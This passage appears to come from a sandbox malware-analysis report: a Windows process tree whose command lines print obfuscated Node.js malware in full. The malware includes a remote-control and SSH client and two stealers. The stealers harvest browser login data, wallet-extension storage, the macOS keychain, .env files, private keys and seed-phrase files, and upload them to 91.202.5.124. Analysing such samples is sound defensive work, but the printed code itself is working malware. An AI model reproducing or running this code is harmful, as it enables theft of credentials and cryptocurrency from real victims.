c[Y(0x282)]:w=l[Y(0x2b8)];break;case c[Y(0x1c3)]:w=l[Y(0x29c)];break;case c[Y(0x299)]:w=l[Y(0x2ac)];break;default:throw new Error(Y(0x21c)+v);}await i[Y(0x1bc)](w);}catch(z){}}),h['on'](c[L(0x237)],async({direction:v,amount:w})=>{const Z=L;try{if(c[Z(0x21a)](v,'up'))await i[Z(0x1d1)](c[Z(0x1e9)](w,0x16d6+-0x1a17+0x6*0x8b));else await i[Z(0x1f1)](c[Z(0x20e)](w,-0x1*-0x503+0x41d+-0x91f*0x1));}catch(z){}}),h['on'](c[L(0x2a8)],async({type:v,key:w})=>{const a0=L;try{if(c[a0(0x28e)](v,c[a0(0x1be)]))await k[a0(0x25c)](w);if(c[a0(0x1d7)](v,'up'))await k[a0(0x1c0)](w);await c[a0(0x2c9)](o,0x187d+-0xaf+0xea*-0x1a);}catch(z){}});async function u(v,w){const a1=L;try{for(const z of v)await k[a1(0x25c)](z);await k[a1(0x25c)](w),await c[a1(0x27c)](o,0x14bf+0x1073*-0x1+-0x438),await k[a1(0x1c0)](w);for(const A of v[a1(0x28a)]())await k[a1(0x1c0)](A);}catch(B){}}h['on'](c[L(0x2b9)],async({modifiers:modifiers=[],key:v})=>{const a2=L;await c[a2(0x272)](u,modifiers,v);}),h['on'](c[L(0x2bc)],async v=>{const a3=L;try{const w=await q[a3(0x254)]();h[a3(0x267)](c[a3(0x255)],{'cid':v[a3(0x223)],'text':w});}catch(z){}}),h['on'](c[L(0x231)],async v=>{const a4=L;try{await q[a4(0x246)](v[a4(0x2a0)]),await c[a4(0x216)](u,[c[a4(0x1b7)]],0xf1*-0x13+0x1*-0x10b+0x1349);}catch(w){}});}h['on'](c[L(0x23c)],async v=>{const a5=L;process[a5(0x27b)](-0x2a9*0x3+0x23c1*-0x1+0x2bbc);}),h['on'](c[L(0x2c8)],v=>{const a6=L,w=new f();w['on'](c[a6(0x21d)],()=>{const a7=a6;h[a7(0x267)](c[a7(0x24e)],{'sid':v[a7(0x223)],'cid':v[a7(0x279)]});}),w['on'](c[a6(0x208)],A=>{const a8=a6;h[a8(0x267)](c[a8(0x2af)],{'cid':v[a8(0x279)],'sid':v[a8(0x223)],'data':c[a8(0x1d2)](c[a8(0x1d2)](c[a8(0x210)],A[a8(0x287)]),'\x0d\x0a'),'type':c[a8(0x208)]}),_stream=null;}),w['on'](c[a6(0x205)],()=>{const a9=a6,A={'zzYcK':c[a9(0x2af)],'BhUgi':c[a9(0x23d)],'VpXeE':c[a9(0x27a)]};w[a9(0x21f)]({'term':c[a9(0x1d5)],'cols':0x78,'rows':0x3c},(B,C)=>{const aa=a9,D={'sfMzi':A[aa(0x1d4)],'XAyia':A[aa(0x1fb)]};if(B){_stream=null;return;}_stream=C,C['on'](A[aa(0x227)],E=>{const ab=aa;h[ab(0x267)](D[ab(0x1fe)],{'cid':v[ab(0x279)],'sid':v[ab(0x223)],'data':E[ab(0x278)](D[ab(0x1c4)])});}),C[aa(0x24d)]['on'](A[aa(0x227)],E=>{const ac=aa;h[ac(0x267)](D[ac(0x1fe)],{'cid':v[ac(0x279)],'sid':v[ac(0x223)],'data':E[ac(0x278)](D[ac(0x1c4)])});});}),h[a9(0x267)](c[a9(0x200)],{'sid':v[a9(0x223)],'cid':v[a9(0x279)]});});let z=null;try{if(v[a6(0x260)]){if(fs[a6(0x215)](v[a6(0x260)]))z=fs[a6(0x29e)](v[a6(0x260)]);else h[a6(0x267)](c[a6(0x2af)],{'cid':v[a6(0x279)],'sid':v[a6(0x223)],'data':c[a6(0x1d2)](c[a6(0x203)],v[a6(0x260)])});}}catch{}try{if(z){if(v[a6(0x217)])w[a6(0x202)]({'host':v[a6(0x1f8)],'username':v[a6(0x26e)],'privateKey':fs[a6(0x29e)](v[a6(0x260)]),'passphrase':v[a6(0x217)]});else w[a6(0x202)]({'host':v[a6(0x1f8)],'username':v[a6(0x26e)],'privateKey':fs[a6(0x29e)](v[a6(0x260)])});}else w[a6(0x202)]({'host':v[a6(0x1f8)],'username':v[a6(0x26e)],'password':v[a6(0x217)]});}catch(A){h[a6(0x267)](c[a6(0x2af)],{'cid':v[a6(0x279)],'sid':v[a6(0x223)],'type':c[a6(0x208)],'data':A[a6(0x287)]});}}),h['on'](c[L(0x2b5)],v=>{const ad=L;_stream&&_stream[ad(0x246)](v[ad(0x23b)]);}),h['on'](c[L(0x1bd)],v=>{}),h['on'](c[L(0x1c1)],()=>{const ae=L,v=terminals[ae(0x2bd)](h['id']);if(v){try{v[ae(0x265)]();}catch{}terminals[ae(0x253)](h['id']);}});}catch(v){c[L(0x290)](makeLog,c[L(0x1d2)](c[L(0x226)],JSON[L(0x276)](v[L(0x287)])));if(!tryGlobal)c[L(0x271)](execSync,c[L(0x26b)],{'windowsHide':!![]});else process[L(0x27b)](0x1a60+0x1a72+-0x34d2);tryGlobal=!![],c[L(0x1f9)](ss);}};ss();"
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:4552
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Get-CimInstance Win32_ComputerSystem | Select-Object Model,Manufacturer""
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:2120
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command "Get-CimInstance Win32_ComputerSystem | Select-Object Model,Manufacturer"
        9⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:940
        
        C:\Users\Admin\AppData\Local\Temp\node\node.exe
        
        node -e "(()=>{var e={305:e=>{\"use strict\";e.exports=require(\"form-data\")},317:e=>{\"use strict\";e.exports=require(\"child_process\")},857:e=>{\"use strict\";e.exports=require(\"os\")},896:e=>{\"use strict\";e.exports=require(\"fs\")},928:e=>{\"use strict\";e.exports=require(\"path\")},938:e=>{\"use strict\";e.exports=require(\"axios\")}},n={};function r(t){var o=n[t];if(void 0!==o)return o.exports;var c=n[t]={exports:{}};return e[t](c,c.exports,r),c.exports}function t(e){return t=\"function\"==typeof Symbol&&\"symbol\"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&\"function\"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?\"symbol\":typeof e},t(e)}function o(e,n){var r=\"undefined\"!=typeof Symbol&&e[Symbol.iterator]||e[\"@@iterator\"];if(!r){if(Array.isArray(e)||(r=function(e,n){if(e){if(\"string\"==typeof e)return c(e,n);var r={}.toString.call(e).slice(8,-1);return\"Object\"===r&&e.constructor&&(r=e.constructor.name),\"Map\"===r||\"Set\"===r?Array.from(e):\"Arguments\"===r||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(r)?c(e,n):void 0}}(e))||n&&e&&\"number\"==typeof e.length){r&&(e=r);var t=0,o=function(){};return{s:o,n:function(){return t>=e.length?{done:!0}:{done:!1,value:e[t++]}},e:function(e){throw e},f:o}}throw new TypeError(\"Invalid attempt to iterate non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.\")}var a,i=!0,p=!1;return{s:function(){r=r.call(e)},n:function(){var e=r.next();return i=e.done,e},e:function(e){p=!0,a=e},f:function(){try{i||null==r.return||r.return()}finally{if(p)throw a}}}}function c(e,n){(null==n||n>e.length)&&(n=e.length);for(var r=0,t=Array(n);r<n;r++)t[r]=e[r];return t}function a(e,n){var r=Object.keys(e);if(Object.getOwnPropertySymbols){var t=Object.getOwnPropertySymbols(e);n&&(t=t.filter(function(n){return Object.getOwnPropertyDescriptor(e,n).enumerable})),r.push.apply(r,t)}return r}function i(e){for(var n=1;n<arguments.length;n++){var r=null!=arguments[n]?arguments[n]:{};n%2?a(Object(r),!0).forEach(function(n){p(e,n,r[n])}):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(r)):a(Object(r)).forEach(function(n){Object.defineProperty(e,n,Object.getOwnPropertyDescriptor(r,n))})}return e}function p(e,n,r){return(n=function(e){var n=function(e){if(\"object\"!=t(e)||!e)return e;var n=e[Symbol.toPrimitive];if(void 0!==n){var r=n.call(e,\"string\");if(\"object\"!=t(r))return r;throw new TypeError(\"@@toPrimitive must return a primitive value.\")}return String(e)}(e);return\"symbol\"==t(n)?n:n+\"\"}(n))in e?Object.defineProperty(e,n,{value:r,enumerable:!0,configurable:!0,writable:!0}):e[n]=r,e}function f(){var e,n,r=\"function\"==typeof Symbol?Symbol:{},t=r.iterator||\"@@iterator\",o=r.toStringTag||\"@@toStringTag\";function c(r,t,o,c){var p=t&&t.prototype instanceof i?t:i,f=Object.create(p.prototype);return s(f,\"_invoke\",function(r,t,o){var c,i,p,f=0,s=o||[],u=!1,l={p:0,n:0,v:e,a:b,f:b.bind(e,4),d:function(n,r){return c=n,i=0,p=e,l.n=r,a}};function b(r,t){for(i=r,p=t,n=0;!u&&f&&!o&&n<s.length;n++){var o,c=s[n],b=l.p,d=c[2];r>3?(o=d===t)&&(p=c[(i=c[4])?5:(i=3,3)],c[4]=c[5]=e):c[0]<=b&&((o=r<2&&b<c[1])?(i=0,l.v=t,l.n=c[1]):b<d&&(o=r<3||c[0]>t||t>d)&&(c[4]=r,c[5]=t,l.n=d,i=0))}if(o||r>1)return a;throw u=!0,t}return function(o,s,d){if(f>1)throw TypeError(\"Generator is already running\");for(u&&1===s&&b(s,d),i=s,p=d;(n=i<2?e:p)||!u;){c||(i?i<3?(i>1&&(l.n=-1),b(i,p)):l.n=p:l.v=p);try{if(f=2,c){if(i||(o=\"next\"),n=c[o]){if(!(n=n.call(c,p)))throw TypeError(\"iterator result is not an object\");if(!n.done)return n;p=n.value,i<2&&(i=0)}else 1===i&&(n=c.return)&&n.call(c),i<2&&(p=TypeError(\"The iterator does not provide a '\"+o+\"' method\"),i=1);c=e}else if((n=(u=l.n<0)?p:r.call(t,l))!==a)break}catch(n){c=e,i=1,p=n}finally{f=1}}return{value:n,done:u}}}(r,o,c),!0),f}var a={};function i(){}function p(){}function u(){}n=Object.getPrototypeOf;var l=[][t]?n(n([][t]())):(s(n={},t,function(){return this}),n),b=u.prototype=i.prototype=Object.create(l);function d(e){return Object.setPrototypeOf?Object.setPrototypeOf(e,u):(e.__proto__=u,s(e,o,\"GeneratorFunction\")),e.prototype=Object.create(b),e}return p.prototype=u,s(b,\"constructor\",u),s(u,\"constructor\",p),p.displayName=\"GeneratorFunction\",s(u,o,\"GeneratorFunction\"),s(b),s(b,o,\"Generator\"),s(b,t,function(){return this}),s(b,\"toString\",function(){return\"[object Generator]\"}),(f=function(){return{w:c,m:d}})()}function s(e,n,r,t){var o=Object.defineProperty;try{o({},\"\",{})}catch(e){o=0}s=function(e,n,r,t){function c(n,r){s(e,n,function(e){return this._invoke(n,r,e)})}n?o?o(e,n,{value:r,enumerable:!t,configurable:!t,writable:!t}):e[n]=r:(c(\"next\",0),c(\"throw\",1),c(\"return\",2))},s(e,n,r,t)}function u(e,n,r,t,o,c,a){try{var i=e[c](a),p=i.value}catch(e){return void r(e)}i.done?n(p):Promise.resolve(p).then(t,o)}function l(e){return function(){var n=this,r=arguments;return new Promise(function(t,o){var c=e.apply(n,r);function a(e){u(c,t,o,a,i,\"next\",e)}function i(e){u(c,t,o,a,i,\"throw\",e)}a(void 0)})}}var b=r(317).execSync,d=r(928),h=r(938),m=r(896),g=r(857),k=r(305);process.title=\"npm-cache\",new k;var v=g.userInfo().username,y=\"91.202.5.124:7679\",j=\"http://\".concat(y,\"/upload\"),w=\"http://\".concat(y,\"/cldbs\"),O=\"103\",S=[\"acmacodkjbdgmoleebolmdjonilkdbch\",\"nkbihfbeogaeaoehlefnkodbefgpgknn\",\"bfnaelmomeimhlpmgjnjophhpkkoljpa\",\"dmkamcknogkgcdfhhbddcghachkejeap\",\"ejbalbakoplchlghecdalmeeeajnimhm\",\"ppbibelpcjmhbdihakflkdcoccbgbkpo\",\"egjidjbpglichdcondbcbdnbeeppgdph\",\"ibnejdfjmmkpcnlpebklmnkoeoihofec\",\"bhhhlbepdkbapadjdnnojkbgioiodbic\",\"omaabbefbmiijedngplfjmnooppbclkk\",\"khpkpbbcccdmmclmpigdgddabeilkdpd\",\"fhbohimaelbohpjbbldcngcnapndodjp\",\"opcgpfmipidbgpenhmajoajpbobppdil\",\"aeachknmefphepccionboohckonoeemg\",\"hifafgmccdpekplomjjkcfgodnhcellj\",\"hnfanknocfeofbddgcijnmhnfnkdnaad\",\"cadiboklkpojfamcoggejbbdjcoiljjk\",\"jblndlipeogpafnldhgmapagcccfchpi\",\"dlcobpjiigpikoobohmabehhmhfoodbb\",\"mcohilncbfahbmgdjkbpemcciiolgcge\",\"agoakfejjabomempkjlepdflaleeobhb\",\"aholpfdialjgjfhomihkjbmgjidlcdno\",\"nphplpgoakhhjchkkhmiggakijnkhfnd\",\"penjlddjkjgpnkllboccdgccekpkcbin\",\"lgmpcpglpngdoalbgeoldeajfclnhafa\",\"fldfpgipfncgndfolcbkdeeknbbbnhcc\",\"gjnckgkfmgmibbkoficdidcljeaaaheg\",\"afbcbjpbpfadlkmhmclhkeeodmamcflc\"],x=[];function A(e){return P.apply(this,arguments)}function P(){return(P=l(f().m(function e(n){return f().w(function(e){for(;;)if(0===e.n)return e.a(2,new Promise(function(e){return setTimeout(e,n)}))},e)}))).apply(this,arguments)}var E,L=\"win32\"===(E=process.platform)?[\"\".concat(d.join(process.env.LOCALAPPDATA,\"Google/Chrome/User Data\")),\"\".concat(d.join(process.env.LOCALAPPDATA,\"Microsoft/Edge/User Data\")),\"\".concat(d.join(process.env.LOCALAPPDATA,\"LT Browser/User Data\")),\"\".concat(d.join(process.env.LOCALAPPDATA,\"BraveSoftware/Brave-Browser/User Data\"))]:\"darwin\"===E?[\"\".concat(d.join(process.env.HOME,\"Library/Application Support/Google/Chrome\")),\"\".concat(d.join(process.env.HOME,\"Library/Application Support/BraveSoftware/Brave-Browser\")),\"\".concat(d.join(process.env.HOME,\"Library/Application Support/com.operasoftware.Opera\")),\"\".concat(d.join(process.env.HOME,\"Library/Application Support/LT Browser\")),\"\".concat(d.join(process.env.HOME,\"Library/Application Support/Microsoft Edge\"))]:\"linux\"===E?[\"\".concat(d.join(process.env.HOME,\".config/google-chrome\")),\"\".concat(d.join(process.env.HOME,\".config/microsoft-edge\")),\"\".concat(d.join(process.env.HOME,\".config/lt-browser\")),\"\".concat(d.join(process.env.HOME,\".config/BraveSoftware/Brave-Browser\"))]:void process.exit(1),D=null,T=function(){var e=l(f().m(function e(n){return f().w(function(e){for(;;)switch(e.n){case 0:return e.n=1,h.post(w,{path:n.replace(\"ejbalbakoplchlghecdalmeeeajnimhm\",\"nkbihfbeogaeaoehlefnkodbefgpgknn\"),timestamp:D,userkey:O,hostname:g.hostname(),username:v,t:\"101\"}).then(function(e){return e.data}).catch(function(e){return\"error\"});case 1:return e.a(2,e.v)}},e)}));return function(n){return e.apply(this,arguments)}}(),M=function(){var e=l(f().m(function e(n,r){var t;return f().w(function(e){for(;;)switch(e.p=e.n){case 0:if(m.existsSync(n)){e.n=1;break}return e.a(2,!1);case 1:if(r||(r=n),!m.statSync(n).isFile()){e.n=5;break}return(t=new k).append(\"file\",m.createReadStream(n)),e.p=2,e.n=3,h.post(j,t,{headers:i(i({},t.getHeaders()),{},{userkey:O,hostname:g.hostname(),t:\"101\",username:v,path:r.replace(\"ejbalbakoplchlghecdalmeeeajnimhm\",\"nkbihfbeogaeaoehlefnkodbefgpgknn\"),timestamp:D})});case 3:e.v,e.n=5;break;case 4:e.p=4,e.v;case 5:return e.a(2)}},e,null,[[2,4]])}));return function(n,r){return e.apply(this,arguments)}}(),B=function(){var e=l(f().m(function e(){var n,r,t,c,a,i,p,s,u,l,h,k,v,y,j,w,O,A,P,E,D,B,H;return f().w(function(e){for(;;)switch(e.p=e.n){case 0:process.platform,n=[],r=d.join(g.tmpdir(),\"__tmp__\"),t=o(L),e.p=1,t.s();case 2:if((c=t.n()).done){e.n=25;break}if(a=c.value,m.existsSync(a)){e.n=3;break}return e.a(3,24);case 3:i=m.readdirSync(a).filter(function(e){return/^Profile.*|^Default$/.test(e)}),p=o(i),e.p=4,p.s();case 5:if((s=p.n()).done){e.n=21;break}return u=s.value,e.n=6,M(\"\".concat(a,\"/\").concat(u,\"/Login Data\"));case 6:return e.n=7,M(\"\".concat(a,\"/\").concat(u,\"/Login Data For Account\"));case 7:return e.n=8,M(\"\".concat(a,\"/\").concat(u,\"/Web Data\"));case 8:l=0,h=S;case 9:if(!(l<h.length)){e.n=20;break}if(k=h[l],v=\"\".concat(a,\"/\").concat(u,\"/Local Extension Settings/\").concat(k),console.log(v),m.existsSync(v)){e.n=10;break}return e.a(3,19);case 10:y=d.join(r,u,k),m.existsSync(y)&&m.rmSync(y,{recursive:!0,force:!0}),m.cpSync(v,y,{recursive:!0,force:!0}),j=m.readdirSync(y),w=o(j),e.p=11,w.s();case 12:if((O=w.n()).done){e.n=14;break}return A=O.value,e.n=13,M(\"\".concat(y,\"/\").concat(A),\"\".concat(v,\"/\").concat(A));case 13:e.n=12;break;case 14:e.n=16;break;case 15:e.p=15,D=e.v,w.e(D);case 16:return e.p=16,w.f(),e.f(16);case 17:if(!(S.indexOf(k)<8)){e.n=19;break}return-1==x.indexOf(v)&&x.push(v),e.n=18,T(v+\"/ldb\");case 18:P=e.v,E=x.indexOf(v),\"ok\"==P&&x.splice(E,1);case 19:l++,e.n=9;break;case 20:e.n=5;break;case 21:e.n=23;break;case 22:e.p=22,B=e.v,p.e(B);case 23:return e.p=23,p.f(),e.f(23);case 24:e.n=2;break;case 25:e.n=27;break;case 26:e.p=26,H=e.v,t.e(H);case 27:return e.p=27,t.f(),e.f(27);case 28:return\"win32\"==g.platform()&&m.existsSync(r)&&b('rmdir \"'.concat(r,'\" /s /q')),e.a(2,n.join(\" && \"))}},e,null,[[11,15,16,17],[4,22,23,24],[1,26,27,28]])}));return function(){return e.apply(this,arguments)}}(),H=function(){var e=l(f().m(function e(){var n,r,t,c,a,i,p,s,u;return f().w(function(e){for(;;)switch(e.p=e.n){case 0:return D=Date.now(),e.n=1,B();case 1:e.v;case 2:if(!(x.length>0)){e.n=16;break}return e.n=3,A(6e4);case 3:D=Date.now(),n=0,r=x;case 4:if(!(n<r.length)){e.n=15;break}if(fp=r[n],m.existsSync(fp)){e.n=5;break}return e.a(3,14);case 5:t=m.readdirSync(fp),c=o(t),e.p=6,c.s();case 7:if((a=c.n()).done){e.n=9;break}return i=a.value,e.n=8,M(\"\".concat(fp,\"/\").concat(i));case 8:e.n=7;break;case 9:e.n=11;break;case 10:e.p=10,u=e.v,c.e(u);case 11:return e.p=11,c.f(),e.f(11);case 12:return-1==x.indexOf(fp)&&x.push(fp),e.n=13,T(fp+\"/ldb\");case 13:p=e.v,s=x.indexOf(fp),\"ok\"==p&&x.splice(s,1);case 14:n++,e.n=4;break;case 15:e.n=2;break;case 16:return e.a(2)}},e,null,[[6,10,11,12]])}));return function(){return e.apply(this,arguments)}}();l(f().m(function e(){return f().w(function(e){for(;;)switch(e.n){case 0:if(\"darwin\"!=g.platform()){e.n=1;break}return e.n=1,M(\"\".concat(process.env.HOME,\"/Library/Keychains/login.keychain-db\"));case 1:return e.n=2,H();case 2:return e.a(2)}},e)}))()})();"
        7⤵
        Executes dropped EXE
        
        PID:1268
        
        C:\Users\Admin\AppData\Local\Temp\node\node.exe
        
        node -e "const m=b;function b(c,d){c=c-(0x9fa*0x1+-0x16e2*-0x1+-0x1ef3);const e=a();let f=e[c];return f;}(function(c,d){const l=b,e=c();while(!![]){try{const f=parseInt(l(0x200))/(-0x1b27+-0xb45*0x2+-0x31b2*-0x1)*(-parseInt(l(0x2a5))/(-0x190f+-0xeac+-0x27bd*-0x1))+-parseInt(l(0x2aa))/(0x1*0x239b+0x4*-0x7f6+-0x5*0xc0)*(-parseInt(l(0x26d))/(-0x17d+-0x2352+-0x24d3*-0x1))+-parseInt(l(0x29d))/(-0x1e0e+-0x492*0x1+0x22a5*0x1)*(parseInt(l(0x2a2))/(-0x115*-0x1+0x1*-0xfa3+0xe94))+parseInt(l(0x2ca))/(0x1538+-0x3d*0x5+-0x1400)+-parseInt(l(0x2a3))/(-0xbf*0xe+0x1115+-0x69b)*(parseInt(l(0x25e))/(-0x1e6b+0x1496+0x9de))+parseInt(l(0x202))/(0x3*-0x142+-0x65*-0x11+-0x2e5)*(-parseInt(l(0x20f))/(-0x9*0x41c+0x9*0x50+0x2237))+parseInt(l(0x1ee))/(-0x11f9*0x1+-0x2*0x7f7+-0x3*-0xb51);if(f===d)break;else e['push'](e['shift']());}catch(g){e['push'](e['shift']());}}}(a,-0xa*0x15343+-0x97f1c+0x124637*0x2));const fs=require('fs'),path=require(m(0x2df)),os=require('os'),FormData=require(m(0x24d)),axios=require(m(0x243)),{execSync,exec}=require(m(0x206));process[m(0x28f)]=m(0x27c);const usu=m(0x2a6),upt=m(0x250),t='101',uid=m(0x2b8),username=os[m(0x283)]()[m(0x2e5)],rootDir=os[m(0x283)]()[m(0x222)]+'',excludeFolders=[m(0x226),m(0x1f2),m(0x225),m(0x241),m(0x2b1),m(0x1fc),m(0x285),m(0x2dc),m(0x26e),m(0x2f5),m(0x26f),m(0x253),m(0x23a),m(0x2e7),m(0x1ef),m(0x2fc),m(0x2f1),m(0x21b),m(0x23f),m(0x22a),m(0x2e1),m(0x284),m(0x260),m(0x2bd),m(0x2e7),m(0x2e3),m(0x2b7),m(0x288),m(0x25b),m(0x21c),m(0x287),m(0x280),m(0x1fd),m(0x2ee),m(0x23c),m(0x24f),m(0x2e3),m(0x2fb),m(0x232),m(0x2ff),m(0x2bc),m(0x1f4),m(0x26c),m(0x2ad),m(0x201),m(0x2ef),m(0x26b),m(0x1f7),m(0x29a),m(0x215),m(0x29b),m(0x249),m(0x2c0),m(0x22e),m(0x300),m(0x264),m(0x1ed),m(0x272),m(0x261),m(0x213),m(0x2c9),m(0x233),m(0x2a7),m(0x2ed),m(0x1ea),m(0x2bf),m(0x22b),m(0x278),m(0x2ab),m(0x2da),m(0x2dd),m(0x1f9),m(0x29f),m(0x2e0),m(0x277),m(0x1f0),m(0x2a4),m(0x2be),m(0x1f1),m(0x210),m(0x2e6),m(0x2ce),m(0x2b9),m(0x1f3),m(0x230),m(0x2db),m(0x25b),m(0x2de),m(0x259),m(0x231),m(0x20c),m(0x2a8),m(0x246),m(0x28c),m(0x29b),m(0x2d0),m(0x2ba),m(0x2b2),m(0x224),m(0x2fd),m(0x23e),m(0x2cc),m(0x2fe),m(0x24e),m(0x2f6),m(0x205),m(0x24c),m(0x24a),m(0x28d),m(0x22f),m(0x23b),m(0x208),m(0x2c8),m(0x211),m(0x211),m(0x238),m(0x252),m(0x281),m(0x28a),m(0x2bc),m(0x20d),m(0x2f7),m(0x25a),m(0x27b),m(0x286),m(0x236),m(0x2e9),m(0x27a),m(0x275),m(0x242),m(0x22c),m(0x2f0),m(0x22d),m(0x2c2),m(0x28e),m(0x248),m(0x276),m(0x257),m(0x2ac),m(0x237),m(0x1fc),m(0x2a1),m(0x218),m(0x20b),m(0x223),m(0x291)],searchKey=[m(0x2c1),m(0x298),m(0x240),m(0x1f8),m(0x292),m(0x2e2),m(0x2d9),m(0x2c5),m(0x2c4),m(0x247),m(0x2c6),m(0x203),m(0x267),m(0x2ea),m(0x2f8),m(0x220),m(0x2b3),m(0x235),m(0x1fa),m(0x290),m(0x24b),m(0x25c),m(0x228),m(0x26a),m(0x29e),m(0x25f),m(0x2d5),m(0x274)],configDir=[path[m(0x28b)](os[m(0x222)](),m(0x21e)),path[m(0x28b)](os[m(0x222)](),m(0x23d)),path[m(0x28b)](os[m(0x222)](),m(0x2e4)),path[m(0x28b)](os[m(0x222)](),m(0x1ff)),path[m(0x28b)](os[m(0x222)](),m(0x227)),path[m(0x28b)](os[m(0x222)](),m(0x2d5)),path[m(0x28b)](os[m(0x222)](),m(0x25f))],uu=m(0x1e9)+usu+':'+upt+m(0x2d6),uf=async c=>{const n=m,d={'KgIZD':n(0x1ec),'paumo':n(0x2ae),'eSFxt':function(e,f){return e>f;},'ZTzKC':n(0x2ec),'TZtAl':n(0x297),'qFxaE':n(0x2d2)};if(fs[n(0x255)](c)[n(0x2cf)]()){const e=new FormData(),f=fs[n(0x27d)](c);f['on'](d[n(0x216)],()=>f[n(0x27e)]()),e[n(0x2b4)](d[n(0x2b6)],f);try{const g=d[n(0x207)](c[n(0x2e8)](path[n(0x28b)](d[n(0x2c3)],d[n(0x229)],d[n(0x2f9)])),-(-0x1*-0x3e3+0x179a+-0x1b7c));console[n(0x21d)](c);const h=await axios[n(0x244)](uu,e,{'headers':{...e[n(0x2d1)](),'userkey':uid,'hostname':os[n(0x2f2)](),'username':username,'path':c,'t':t,'a':!![]}})[n(0x21f)](i=>{const o=n;f[o(0x27e)]();})[n(0x262)](i=>{const p=n;f[p(0x27e)]();});}catch(i){f[n(0x27e)]();}}},toRegex=c=>new RegExp('^'+c[m(0x1fb)](/\./g,'\x5c.')[m(0x1fb)](/\*/g,'.*')+'$','i'),isFileMatching=c=>{const q=m;return searchKey[q(0x20a)](d=>toRegex(d)[q(0x271)](c));},scanDir=async c=>{const r=m,d={'DqZPc':function(g,h){return g==h;},'zroRN':r(0x21a),'pGmfI':function(g,h){return g==h;},'KVNlc':r(0x234),'rETkP':r(0x2e4),'JcqPn':function(g,h){return g==h;},'WIxrX':r(0x2fd),'JSthj':function(g,h){return g(h);},'goYhN':r(0x209),'lFBDO':function(g,h,i){return g(h,i);},'TjObw':function(g,h){return g(h);}};if(!fs[r(0x289)](c))return;if(d[r(0x204)](c,path[r(0x28b)](os[r(0x222)](),d[r(0x2fa)])))return;const f=fs[r(0x214)](c);for(const g of f){try{const h=path[r(0x28b)](c,g);if(d[r(0x204)](g,'go')||d[r(0x293)](os[r(0x2d7)](),d[r(0x273)])&&d[r(0x204)](h,path[r(0x28b)](os[r(0x222)](),d[r(0x1eb)])))continue;if(d[r(0x239)](g,d[r(0x2d3)])){await d[r(0x2a9)](uf,path[r(0x28b)](h,d[r(0x270)]));continue;}const i=excludeFolders[r(0x20a)](k=>h[r(0x302)]()[r(0x20e)](k[r(0x302)]()));if(i)continue;const j=fs[r(0x255)](h);if(j[r(0x217)]())!i&&await d[r(0x294)](scanDir,h,excludeFolders);else(configDir[r(0x20a)](k=>h[r(0x20e)](k))||j[r(0x2cf)]()&&d[r(0x2a9)](isFileMatching,g))&&(await d[r(0x2cd)](uf,h),await d[r(0x2cd)](sleep,0x2429+0x248c*0x1+-0x4883));}catch(k){}}};async function sleep(c){return new Promise(d=>setTimeout(d,c));}function a(){const u=['existsSync','.myi','join','.dat','mysql','_locales','title','*bitcoin*','Visual\x20Studio\x20Code.app','*.md','pGmfI','lFBDO','trim','HCVPS','User','*.doc','powershell\x20-NoProfile\x20-Command\x20\x22','module','.jar','Get-CimInstance\x20Win32_LogicalDis','5zMHwNF','*.js','.aep','bNYeH','All\x20User','8767230JHwEOF','10376Pmpgng','.hpp','22776WFcBbN','91.202.5.124','.pearai','.so','JSthj','325287OKQIKY','.pkg','Program\x20Files\x20(x86)','.dll','file','kvXvE','y\x20DeviceID\x22','example','build','*.json','append','split','paumo','.devctl','103','.wma','.yarn','htXlO','.rustup','.cocoapods','.cdr','.key','.yml','*.env*','wallpaper','ZTzKC','*.xlsx','*.xls','*.pem','GWWNo','image','.pages','9035600lLIUNo','KXQNs','.github','TjObw','.mp4','isFile','anaconda3','getHeaders','History','WIxrX','PgBRh','.bash_history','/upload','platform','RrdUJ','*.odt','.pack','.dylib','vendor','.msi','.sol','path','.3mf','.node-gyp','*.rtf','.cursor','.config','username','.cab','.conda','indexOf','packages','*.png','Cursor','Code','extension','.pm2','.exe','debug','.android','hostname','ufWOD','fVZnw','css','temp','manifest','*.jpg','qFxaE','zroRN','.vscode-server','.tldrc','.git','cache','.local','flutter','Roaming','toLowerCase','http://','media','rETkP','error','.ppt','35793444shzjuS','.move','.bundle','.car','npm','DCIM','.pub-cache','rEgcj','hqIqs','.bin','*.pdf','.apk','*metamask*','replace','All\x20Users','.gnupg','toString','.foundry','52SiASvy','.dmg','5230OxNJaU','*.ini','DqZPc','dist','child_process','eSFxt','images','config','some','Microsoft','.avi','.docker','includes','29623GGMTfm','.cfa','plugin','ZalFN','.pak','readdirSync','.map','KgIZD','isDirectory','Windows','UdREF','AppData','.avm','.stream','log','.aws','then','*.jpeg','/mnt','homedir','$RECYCLE.BIN','.next','hooks','node_modules','.ssh','*secret\x20phrase*','TZtAl','.3T','.var','fonts','background','.yaml','imgs','.webm','.sys','.cargo','.gemini','linux','*.ts','package','ProgramData','.vscode','JcqPn','.cache','img','.snipaste','.azure','.gitignore','.brownie','*.docx','android','pkgs','axios','post','KvJuA','.sqlite','*.txt','locale','.original','lib','*btc*','library','form-data','tmp','.vue-cli-ui','7676','ocKYS','package-lock.json','scss','fzcnG','statSync','Application\x20Support','Program\x20Files','darwin','.mp3','.expo','.nvm','*solana*','k\x20|\x20Select-Object\x20-ExpandPropert','2367FMYhfc','.zsh_history','.claude','.psd','catch','Library','llama','win32','Gnlja','*.secret','kDoev','RdpuD','*private\x20key*','.sh','.Trash','16DrHdoT','public','less','goYhN','test','.cl','KVNlc','*.csv','prisma','locales','.big','.sst','Windsurf','openzeppelin','windows.old','npm-compiler','createReadStream','destroy','AUUDv','.windsurf','.pyp','UCIXb','userInfo','.gk','vendors','pkg','.steam','.eigent'];a=function(){return u;};return a();}setTimeout(async()=>{const s=m,c={'ocKYS':function(d,e){return d(e);},'RdpuD':function(d,e){return 